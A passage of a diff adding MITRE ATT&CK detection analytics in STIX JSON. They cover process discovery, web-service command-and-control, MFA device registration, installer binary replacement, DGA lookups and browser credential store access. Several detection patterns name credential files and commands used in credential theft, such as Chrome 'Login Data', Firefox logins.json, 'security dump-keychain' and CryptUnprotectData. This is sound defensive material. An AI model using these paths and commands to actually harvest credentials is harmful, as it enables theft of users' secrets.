"WinEventLog:Sysmon", + "channel": "EventCode=11" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=13" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=15" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Time between registry modification and suspicious binary execution (e.g., < 1 hour) can be tuned." + }, + { + "field": "TargetBinaryNames", + "description": "Specific binaries monitored (e.g., utilman.exe, sethc.exe) can be adjusted per OS version and risk tolerance." + }, + { + "field": "ParentProcess", + "description": "Parent process of cmd.exe (e.g., winlogon.exe) may vary across legitimate and adversarial cases." + }, + { + "field": "UserContext", + "description": "Context of SYSTEM account execution vs. administrative sessions may influence tuning." + }, + { + "field": "CommandLineContains", + "description": "Tunable patterns such as launching cmd.exe, powershell, or LOLBins from accessibility binaries." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--625983e7-9736-44f4-98ba-f372b3a3d236", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0034#AN0095", + "external_id": "AN0095" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0095", + "description": "Identifies adversary behavior that launches commands or invokes APIs to enumerate active processes (e.g., tasklist.exe, Get-Process, or CreateToolhelp32Snapshot). Detects execution combined with parent process lineage, network session context, or remote origin.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Security", + "channel": "EventCode=4688" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=10" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ParentProcessName", + "description": "Used to scope suspicious discovery from non-interactive or non-standard parent processes like Office macros, WMI, or script engines" + }, + { + "field": "CommandLinePattern", + "description": "Adversaries may obfuscate or vary process discovery commands (e.g., aliases, PowerShell variants)" + }, + { + "field": "TimeWindow", + "description": "Helps detect bursty discovery behavior within a short timeframe" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--59aedd87-8373-45d3-93e3-5697e4cc7a48", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0034#AN0096", + "external_id": "AN0096" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0096", + "description": "Detects execution of common process enumeration utilities (e.g., ps, top, htop) or access to /proc with suspicious ancestry. Correlates command usage with interactive shell context and user role.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "auditd:SYSCALL", + "channel": "openat" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6", + "name": "linux:osquery", + "channel": "Process State" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AccessedPath", + "description": "Filter based on suspicious /proc directory enumeration or high-volume ls/readlink usage" + }, + { + "field": "UserContext", + "description": "Helps tune for root vs. low-priv users during interactive vs. scripted activity" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--80939714-6d17-4cc0-accd-3e1d634846bc", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0034#AN0097", + "external_id": "AN0097" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0097", + "description": "Monitors execution of ps, top, or launchctl with unusual parent processes or from terminal scripts. Also detects AppleScript-based process listing or `system_profiler SPApplicationsDataType` misuse.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "process launch" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--ee575f4a-2d4f-48f6-b18b-89067760adc1", + "name": "macos:osquery", + "channel": "Process Context" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ParentApp", + "description": "Tunable to detect discovery from non-UI tools or script-based execution (osascript, zsh, cron)" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--7e029a7f-beb5-4da9-9d75-8fcfc812103b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0034#AN0098", + "external_id": "AN0098" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0098", + "description": "Detects process enumeration using `esxcli system process list` or `ps` on ESXi shell or via unauthorized SSH sessions. Correlates with interactive sessions and abnormal user roles.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "esxi:shell", + "channel": "interactive shell" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--ee575f4a-2d4f-48f6-b18b-89067760adc1", + "name": "esxi:auth", + "channel": "user session" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "User", + "description": "Admins are expected to run these commands\u2014flag if non-admin or unknown users do" + } + ], + "x_mitre_platforms": [ + "ESXi" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--f6985c70-6de1-4600-aba0-5b3324184dce", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0034#AN0099", + "external_id": "AN0099" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0099", + "description": "Monitors CLI-based execution of `show process` or equivalent on routers/switches. Correlates unusual device access, unauthorized roles, or config mode changes.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "networkdevice:cli", + "channel": "CLI command" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--ee575f4a-2d4f-48f6-b18b-89067760adc1", + "name": "networkdevice:syslog", + "channel": "Admin activity" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "Username", + "description": "Tunable based on authorized operators for network infrastructure" + }, + { + "field": "CommandString", + "description": "Pattern match or regex scope for discovery commands" + } + ], + "x_mitre_platforms": [ + "Network Devices" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--27bd3e33-9a61-4dfb-9fba-205a6c880264", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0035#AN0100", + "external_id": "AN0100" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0100", + "description": "Suspicious processes initiating encrypted HTTPS connections to common web service domains, followed by abnormal data upload behavior or automated posting behavior indicative of C2 bidirectional traffic.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=3" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "Event ID 1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "etw:Microsoft-Windows-WinINet", + "channel": "HTTPS Inspection" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Timeframe for evaluating multiple network connections tied to the same process" + }, + { + "field": "DomainPattern", + "description": "Regex or string patterns used to identify common Web service infrastructure (e.g., *.googleapis.com)" + }, + { + "field": "PayloadSizeThreshold", + "description": "Minimum data upload size before flagging anomaly" + }, + { + "field": "ProcessNameExclusionList", + "description": "Known benign updaters or service processes to reduce false positives" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--1edab644-3ec0-4c5d-bc26-18744fbc7a6e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0035#AN0101", + "external_id": "AN0101" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0101", + "description": "Non-interactive system processes making encrypted HTTPS connections to well-known web services followed by high outbound traffic volume or scripted upload patterns.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "NSM:Flow", + "channel": "conn.log" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "ssl.log" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "UploadDirectionality", + "description": "Bias detection toward sessions with larger upload vs download volume" + }, + { + "field": "HostnameRegexList", + "description": "List of known public Web services used for dead drops or C2 (e.g., GitHub, Twitter)" + }, + { + "field": "ScriptParentName", + "description": "Shell interpreter or automated job parent used for filtering (e.g., /usr/bin/python)" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--5935bda3-8d4d-44b4-aca4-8b40cf45f686", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0035#AN0102", + "external_id": "AN0102" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0102", + "description": "Scripting engines (e.g., osascript, Python) initiating HTTPS requests to social media or content-sharing platforms, paired with automated response handling indicative of two-way communication.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "log stream --info --predicate 'subsystem == \"com.apple.cfprefsd\"'" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "NSM:Connections", + "channel": "web domain alerts" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ScriptEngineList", + "description": "Scripting interpreters to monitor for unusual HTTP traffic (e.g., osascript, ruby, bash)" + }, + { + "field": "SocialMediaDomainPatterns", + "description": "Patterns or domains used for C2 dead drops and responses (e.g., pastebin.com, twitter.com)" + }, + { + "field": "BurstConnectionRate", + "description": "Threshold for number of short-lived HTTPS connections in a short window" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--108a10d2-4a9e-4c11-8a6f-42c8b60f0f52", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0036#AN0103", + "external_id": "AN0103" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0103", + "description": "Adversary registers new devices to compromised user accounts to bypass MFA or conditional access policies via Azure Entra ID, Okta, or Duo self-enrollment portals.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--d27b0089-2c39-4b6c-84ff-303e48657e77", + "name": "azure:audit", + "channel": "Operation IN (\"Add device\", \"Add registered users to device\", \"Add registered owner to device\")" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "ApplicationLog:EntraIDPortal", + "channel": "DeviceRegistration events" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--18b236d8-7224-488f-9d2f-50076a0f653a", + "name": "azure:audit", + "channel": "New device object creation" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ActorUserPrincipalName", + "description": "Define expected admin users to exclude known enrollment behavior" + }, + { + "field": "IP Address", + "description": "Scope internal vs. external device enrollment sources" + }, + { + "field": "TimeWindow", + "description": "Adjust for expected hours of legitimate self-enrollment" + } + ], + "x_mitre_platforms": [ + "Identity Provider" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--d5dc64ab-bb69-4893-a155-84d403040e1a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0036#AN0104", + "external_id": "AN0104" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0104", + "description": "Adversary registers a Windows device to Entra ID or bypasses conditional access by adding device via Intune registration pipeline using stolen credentials.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--18b236d8-7224-488f-9d2f-50076a0f653a", + "name": "WinEventLog:Security", + "channel": "Device Object Creation" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "ApplicationLog:Intune/MDM Logs", + "channel": "Enrollment events (e.g., MDMDeviceRegistration)" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "DeviceNamePattern", + "description": "Adjust pattern matching logic for unusual or non-corporate device names" + }, + { + "field": "UserContext", + "description": "Correlate with prior logon location or device usage behavior" + }, + { + "field": "EnrollmentMethod", + "description": "Distinguish between MDM vs manual onboarding vs automated scripts" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--c4eb93f1-0288-4884-bdbc-800e7a8e87c3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0037#AN0105", + "external_id": "AN0105" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0105", + "description": "Detects unauthorized access to web browser credential stores (e.g., Chrome Login Data, Edge Credential Locker) by processes other than the browser itself. Correlates file reads of credential databases with subsequent API calls to `CryptUnprotectData` or memory inspection attempts.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "WinEventLog:Security", + "channel": "EventCode=4656, 4663" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=10" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "MonitoredPaths", + "description": "Browser-specific credential storage paths such as Chrome Login Data, IE Credential Locker" + }, + { + "field": "TimeWindow", + "description": "Correlation window between file read and process memory/API access" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--e11709c9-0203-4f76-bbfb-379ed36723ce", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0037#AN0106", + "external_id": "AN0106" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0106", + "description": "Detects attempts to access browser credential stores (e.g., Firefox `logins.json`, Chrome SQLite DB) or processes (e.g., gnome-keyring-daemon). Observes unauthorized file reads and memory inspection of browser processes using ptrace or gdb.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "auditd:FILE", + "channel": "/home/*/.mozilla/firefox/*/logins.json OR /home/*/.config/google-chrome/*/Login Data" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6", + "name": "auditd:SYSCALL", + "channel": "ptrace attach" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "BrowserCredentialFiles", + "description": "Paths of web browser credential databases to monitor" + }, + { + "field": "AllowedDebuggers", + "description": "List of expected debugging tools for dev/test environments" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--1a068df0-67d4-4521-aeda-75fa8e9f8d98", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0037#AN0107", + "external_id": "AN0107" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0107", + "description": "Detects abnormal access to Safari credential stores (Keychain-backed) or Chrome/Firefox login databases. Observes processes executing `security dump-keychain` or directly reading credential files in `~/Library/Application Support`. Correlates file access with suspicious process ancestry or unsigned binaries.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "execution of security, sqlite3, or unauthorized binaries" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "macos:unifiedlog", + "channel": "~/Library/Application Support/Google/Chrome/*/Login Data OR ~/Library/Application Support/Firefox/*/logins.json" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "PrivilegedUsers", + "description": "Expected user context authorized to unlock Keychain or browser databases" + }, + { + "field": "TimeWindow", + "description": "Correlation window for process execution and credential file access" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--4f132f21-1287-4fc2-a13e-d7770d856610", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0038#AN0108", + "external_id": "AN0108" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0108", + "description": "Executables written or modified in installer directories (e.g., %TEMP% subdirectories or Program Files installer paths) followed by execution under elevated context. Defender observes abnormal file replacement activity, process creation by installer processes pointing to attacker-supplied binaries, and unexpected module loads in elevated processes.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=15" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=7" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "MonitoredDirectories", + "description": "Specific writable directories to monitor (e.g., %TEMP%, C:\\ProgramData, installer unpack paths)." + }, + { + "field": "HashBaseline", + "description": "Known good hashes of installer binaries to detect replacement." + }, + { + "field": "TimeWindow", + "description": "Correlation interval between file overwrite and execution event." + }, + { + "field": "UserContext", + "description": "Differentiate expected admin-installer execution vs. anomalous user writes." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--7cf1b4ad-95e8-4bf0-8b2f-fc3c14938656", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0039#AN0109", + "external_id": "AN0109" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0109", + "description": "Correlate high-frequency or anomalous DNS query activity with processes that do not normally generate network requests (e.g., Office apps, system utilities). Detect pseudo-random or high-entropy domain lookups indicative of domain generation algorithms (DGAs).", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=22" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Security", + "channel": "EventCode=1" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "EntropyThreshold", + "description": "Adjust based on environment to differentiate DGAs from legitimate CDNs" + }, + { + "field": "TimeWindow", + "description": "Interval for correlating bursts of DNS queries from the same process" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--00112bcc-174f-4201-ac81-fe3edd1292e6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0039#AN0110", + "external_id": "AN0110" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0110", + "description": "Monitor /var/log/audit/audit.log and DNS resolver logs for repeated failed lookups or connections to high-entropy domain names. Correlate suspicious DNS queries with process lineage (e.g., Python, bash, or unusual system daemons).", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + 